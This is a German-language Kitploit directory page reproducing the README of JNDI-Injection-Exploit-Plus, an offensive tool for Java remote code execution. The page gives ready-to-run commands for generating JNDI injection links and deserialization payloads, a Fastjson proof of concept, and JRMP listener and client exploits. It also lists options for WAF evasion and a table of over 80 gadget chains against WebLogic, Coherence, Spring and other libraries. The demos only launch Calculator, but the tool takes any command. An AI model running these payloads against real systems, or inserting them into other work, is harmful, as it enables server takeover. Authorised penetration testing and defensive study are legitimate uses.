Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
JNDI-Injection-Exploit-Plus — Generiert funktionsfähige JNDI-Injektionslinks und Deserialisierungs-Payloads mit 80+ Gadgets, unterstützt RMI-, LDAP- und HTTP-Server für automatisierte Sicherheitstests. | Kitploit
Tools/GitHubGitHub/cckuailong/jndi-injection-exploit-plus
Exploit-FrameworksSchwachstellenanalyseWebanwendungs-ExploitationPenetrationstestsPayload-Entwicklung
GitHubcckuailong/jndi-injection-exploit-plus

JNDI-Injection-Exploit-Plus

Generiert funktionsfähige JNDI-Injektionslinks und Deserialisierungs-Payloads mit 80+ Gadgets, unterstützt RMI-, LDAP- und HTTP-Server für automatisierte Sicherheitstests.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
880114vor 2 JahrenVon Kitploit geprüft

JNDI-Injection-Exploit-Plus

Chinesisches README

Beschreibung

JNDI-Injection-Exploit-Plus ist ein Werkzeug zum Generieren funktionsfähiger JNDI-Links und bietet Hintergrunddienste durch Starten von RMI-Server, LDAP-Server und HTTP-Server.

Mit diesem Tool können Sie JNDI-Links erhalten und diese Links in Ihren POC einfügen, um die Schwachstelle zu testen.

Zum Beispiel ist dies ein Fastjson-Schwachstellen-POC:

root@kitploit:~
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}

Wir können „rmi://127.0.0.1:1099/Object“ durch den von JNDI-Injection-Exploit-Plus generierten Link ersetzen, um die Schwachstelle zu testen.

Darüber hinaus können Sie JNDI-Injection-Exploit-Plus auch verwenden, um Base64/Hex-Typ-Payloads zu generieren, wie ysoserial

Mehr als JNDI-Injection-Exploit

JNDI-Injection-Exploit ist ein großartiges Tool, dies ist die Plus-Version davon.

Noch mehr Funktionen

1. Mehr JNDI Remote Reference Gadgets: (insgesamt: 3)

  • Unterstützt JDK 6/7/8

2. Mehr JNDI Local Reference Gadgets: (insgesamt: 4)

3. Deserialisierungs-Gadgets (insgesamt: 75)

P.S. Mehr Gadgets (⬆️) als ysoserial, willkommen bei PRs! ^_^

4. Generieren und Exportieren von Payloads

Wie ysoserial.

Sie können die Deserialisierungs-Payloads mit Base64- oder HEX-Ausgabe generieren.

5. Wrapper

Einige Wrapper zum Kapseln von Deserialisierungsdaten.

WrapperBeispiel-Schwachstellen
XstreamCVE-2021-39149
ApereoApereo 4.1 Deserialisierung RCE
  • Beispiel
root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream

6. Fusion

Versteckt den Klassennamen, um WAF zu umgehen.

  • Beispiel
root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -F

Referenz: https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html

Webdienst zur Rückgabe von Deserialisierungs-Gadgets

root@kitploit:~
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar
root@kitploit:~
POST /deserial/{Gadget}

cmd={command}&wrapper={wrapper}&output={base64/hex}

P.S. Die Parameter wrapper & output sind optional.

Verwendung

JNDI-Links

Ausführen als

root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-A] [address]

wobei:

  • -C - Befehl, der in der entfernten Klassendatei ausgeführt wird.

    (optional, Standardbefehl ist „open /Applications/Calculator.app“)

  • -A - die Adresse Ihres Servers, möglicherweise eine IP-Adresse oder eine Domain.

    (optional, Standardadresse ist die erste Netzwerkschnittstellenadresse)

Hinweise:

  • Stellen Sie sicher, dass die Ports Ihres Servers (1099, 1389, 8180) verfügbar sind.

    oder Sie können den Standardport in der run.ServerStart-Klasse ändern.

  • Ihr Befehl wird als Parameter an Runtime.getRuntime().exec() übergeben,

    daher müssen Sie sicherstellen, dass Ihr Befehl in der Methode exec() funktioniert.

    Befehle in Bash wie „bash -c ....“ müssen in doppelten Anführungszeichen stehen.

Deserialisierungs-Payloads

Ausführen als

root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [base64/hex]

wobei:

  • -C - Befehl, der in der entfernten Klassendatei ausgeführt wird.

    (optional, Standardbefehl ist „open /Applications/Calculator.app“)

  • -D - Der Name des Deserialisierungs-Gadget-Payloads.

  • -O - (Optional) Der Ausgabetyp der Deserialisierung, Standard ist base64.

Deserialisierungs-Exploits

JRMP

  • JRMPListener
root@kitploit:~
java -cp JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc
  • JRMPClient
root@kitploit:~
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64

Beispiele

JNDI-Links

Lokale Demo:

  1. Starten Sie das Tool wie folgt:

    root@kitploit:~
    $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
    

    Screenshot:

  2. Nehmen wir an, wir injizieren die JNDI-Links wie rmi://ADDRESS/remoteExploit8, die in Schritt 1 generiert wurden, in eine angreifbare Anwendung, die durch JNDI-Injection angreifbar ist.

    In diesem Beispiel sieht es so aus:

    root@kitploit:~
    class Test{
        public static void main(String[] args) throws Exception{
            InitialContext ctx = new InitialContext();
            ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8");
        }
    }
    

    Wenn wir diesen Code ausführen, wird der Befehl ausgeführt

    und das Log wird in der Shell ausgegeben:

Weitere Beispiele: Test-JNDI-Injection-Exploit-Plus

Deserialisierungs-Payloads

root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64

Base64-Ausgabeergebnis:

Installation

Wir können eine der beiden Methoden wählen, um das JAR zu erhalten.

  1. Laden Sie das neueste JAR von Release herunter.

  2. Klonen Sie den Quellcode lokal und bauen Sie ihn (erfordert Java 1.8+ und Maven 3.x+).

    root@kitploit:~
    $ git clone https://github.com/cckuailong/JNDI-Injection-Exploit-Plus.git
    
    root@kitploit:~
    $ cd JNDI-Injection-Exploit-Plus
    
    root@kitploit:~
    $ mvn clean package -DskipTests
    

P.S. ‼️ Wenn Sie einen Fehler wie „java.rmi.xxx existiert nicht“ erhalten, sollten Sie die Umgebungsvariable JAVA_HOME setzen.

Haftungsausschluss

Alle Informationen und Codes dienen ausschließlich zu Bildungszwecken und/oder zum Testen eigener Systeme auf diese Schwachstellen.

Tool herunterladen
PayloadAutorAbhängigkeiten
Tomcat 8+ or SpringBoot@welk1ntrustURLCodebase ist false, aber Tomcat 8+ oder SpringBoot 1.2.x+ im Klassenpfad
Groovy (GroovyClassLoader)@cckuailongtrustURLCodebase ist false, aber Tomcat und Groovy im Klassenpfad
Groovy (GroovyShell)@cckuailongtrustURLCodebase ist false, aber Tomcat und Groovy im Klassenpfad
Websphere Readfile@cckuailongtrustURLCodebase ist false, aber WebSphere v6-v9 im Klassenpfad
PayloadAutorAbhängigkeiten
AspectJWeaver@Jangaspectjweaver:1.9.2, commons-collections:3.2.2
BeanShell1@pwntester, @cschneider4711bsh:2.0b5
C3P0@mbechlerc3p0:0.9.5.2, mchange-commons-java:0.2.11
C3P0Tomcat@yulegeyutomcat, com.mchange:c3p0:0.9.5.2, com.mchange:mchange-commons-java:0.2.11
Click1@artsploitclick-nodeps:2.3.0, javax.servlet-api:3.1.0
Clojure@JackOfMostTradesclojure:1.8.0
Coherence1 ⬆️@cckuailongcoherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0
Coherence2 ⬆️@cckuailongcoherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0
Coherence3 ⬆️@cckuailongcoherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0
Coherence4 ⬆️@cckuailongcoherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
Coherence5 ⬆️@cckuailongcoherence:12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
Coherence6 ⬆️@cckuailongcoherence:12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
CommonsBeanutils1@frohoffcommons-beanutils:1.9.2
CommonsBeanutils2 ⬆️@cckuailongcommons-beanutils:1.9.2
CommonsCollections1@frohoffcommons-collections:3.1
CommonsCollections1_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections2@frohoffcommons-collections4:4.0
CommonsCollections2_1 ⬆️@cckuailongcommons-collections4:4.0
CommonsCollections3@frohoffcommons-collections:3.1
CommonsCollections3_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections4@frohoffcommons-collections4:4.0
CommonsCollections5@matthias_kaiser, @jasinnercommons-collections:3.1
CommonsCollections5_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections6@matthias_kaisercommons-collections:3.1
CommonsCollections6_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections6_2 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections6_3 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections7@scristalli, @hanyrax, @EdoardoVignaticommons-collections:3.1
CommonsCollections7_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections8 ⬆️@cckuailongcommons-collections4:4.0
CommonsCollections9 ⬆️@cckuailongcommons-collections:3.2.1
CommonsCollections10 ⬆️@cckuailongcommons-collections:3.2.1
CommonsCollections11 ⬆️@cckuailongcommons-collections:3.1
FileUpload1@mbechlercommons-fileupload:1.3.1, commons-io:2.4
Groovy1@frohoffgroovy:2.3.9
Hibernate1@mbechler
Hibernate2@mbechler
Jackson ⬆️@y4ercom.fasterxml.jackson.core:jackson-databind:2.14.2
JBossInterceptors1@matthias_kaiserjavassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21@frohoff
JRMPClient1@mbechler
JRMPClient2 ⬆️@cckuailong
JRMPClient3 ⬆️@cckuailong
JRMPClient4 ⬆️@cckuailong
JRMPClient5 ⬆️@cckuailong
JRMPClient6 ⬆️@cckuailong
JRMPListener1@cckuailong
JSON1@mbechlerjson-lib🫙jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1@matthias_kaiserjavassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jython1@pwntester, @cschneider4711jython-standalone:2.5.2
MozillaRhino1@matthias_kaiserjs:1.7R2
MozillaRhino2@_tint0js:1.7R2
Myfaces1@mbechler
Myfaces2@mbechler
ROME1@mbechlerrome:1.0
ROME2 ⬆️@firebaskyrome:1.0
Scala1 ⬆️@jarijorg.scala-lang:scala-library:2.13.x
Spring1@frohoffspring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2@mbechlerspring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
Spring3 ⬆️@cckuailongspring-tx:5.2.3.RELEASE, spring-context:5.2.3.RELEASE, javax.transaction-api:1.2
URLDNS@geblnur JRE zur Schwachstellenerkennung
Vaadin1@kai_ullrichvaadin-server:7.7.14, vaadin-shared:7.7.14
Weblogic1 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.0
Weblogic2 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.0
Weblogic3 ⬆️@cckuailongcom.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager
Weblogic4 ⬆️@cckuailongweblogic.common.internal.WLObjectOutputStream
Weblogic5 ⬆️@cckuailongweblogic:12.2.1.4, coherence
Weblogic6 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4
Weblogic7 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4
Weblogic8 ⬆️@cckuailongweblogic:12.2.1.3, 12.2.1.4, 14.1.1.0
Weblogic9 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0
Weblogic10 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0
Weblogic11 ⬆️@cckuailongweblogic:12.2.1.3, 12.2.1.4, 14.1.1.0
Wicket1@jacob-baineswicket-util:6.23.0, slf4j-api:1.6.4
WildFly1 ⬆️@hugoworg.wildfly:wildfly-connector:26.0.1.Final
JbossRemotingJboss Remoting Port Deserialisierung
GzipEinige Yonyou-Schnittstellen verwenden Gzip
DirtyEinfügen vieler schmutziger Daten, um WAF zu umgehen